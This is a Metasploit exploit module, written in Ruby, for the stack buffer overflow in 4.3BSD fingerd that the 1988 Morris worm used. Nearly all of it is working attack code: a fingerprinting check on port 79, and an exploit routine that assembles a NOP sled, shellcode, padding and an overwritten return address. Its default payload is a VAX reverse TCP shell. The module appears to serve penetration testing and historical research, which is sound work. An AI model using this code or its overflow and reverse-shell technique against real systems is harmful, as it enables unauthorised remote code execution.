Morris Worm - fingerd Stack Buffer Overflow (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  # This is so one-off that we define it here
  ARCH_VAX = 'vax'

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'              => 'Morris Worm fingerd Stack Buffer Overflow',
      'Description'       => %q{
        This module exploits a stack buffer overflow in fingerd on 4.3BSD.
        This vulnerability was exploited by the Morris worm in 1988-11-02.
        Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
      },
      'Author'            => [
        'Robert Tappan Morris', # Discovery? Exploit and worm for sure
        'Cliff Stoll',          # The Cuckoo's Egg epilogue and inspiration
        'wvu'                   # Module, payload, and additional research
      ],
      'References'        => [
        ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'],         # History
        ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],  # Analysis
        ['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'],   # Details
        ['URL', 'https://github.com/arialdomartini/morris-worm'],     # Source
        ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
        # And credit to the innumerable VAX ISA docs on the Web
      ],
      'DisclosureDate'    => 'Nov 2 1988',
      'License'           => MSF_LICENSE,
      'Platform'          => 'bsd',
      'Arch'              => ARCH_VAX,
      'Privileged'        => false, # Depends on inetd.conf, usually "nobody"
      'Targets'           => [
        # https://en.wikipedia.org/wiki/Source_Code_Control_System
        ['@(#)fingerd.c   5.1 (Berkeley) 6/6/85',
          'Ret'           => 0x7fffe9b0,
          'Payload'       => {
            'Space'       => 403,
            'BadChars'    => "\n",
            'Encoder'     => 'generic/none', # There is no spoon
            'DisableNops' => true            # Hardcoded NOPs
          }
        ]
      ],
      'DefaultTarget'     => 0,
      'DefaultOptions'    => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
    ))

    register_options([Opt::RPORT(79)])
  end

  def check
    token = rand_text_alphanumeric(8..42)

    connect
    sock.put("#{token}\n")
    res = sock.get_once

    return CheckCode::Unknown unless res

    if res.include?("Login name: #{token}")
      return CheckCode::Detected
    end

    CheckCode::Safe
  rescue Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown
  ensure
    disconnect
  end

  def exploit
    # Start by generating our custom VAX shellcode
    shellcode = payload.encoded

    # 0x01 is NOP in VAX-speak
    nops = "\x01" * (target.payload_space - shellcode.length)

    # This overwrites part of the buffer
    junk = rand_text_alphanumeric(109)

    # This zeroes out part of the stack frame
    frame = "\x00" * 16

    # Finally, pack in our return address
    ret  = [target.ret].pack('V') # V is for VAX!

    # The newline is for gets(3)
    sploit = nops + shellcode + junk + frame + ret + "\n"

    # Fire away
    print_status('Connecting to fingerd')
    connect
    print_status("Sending #{sploit.length}-byte buffer")
    sock.put(sploit)

  # Hat tip @bcoles
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  ensure
    disconnect
  end

end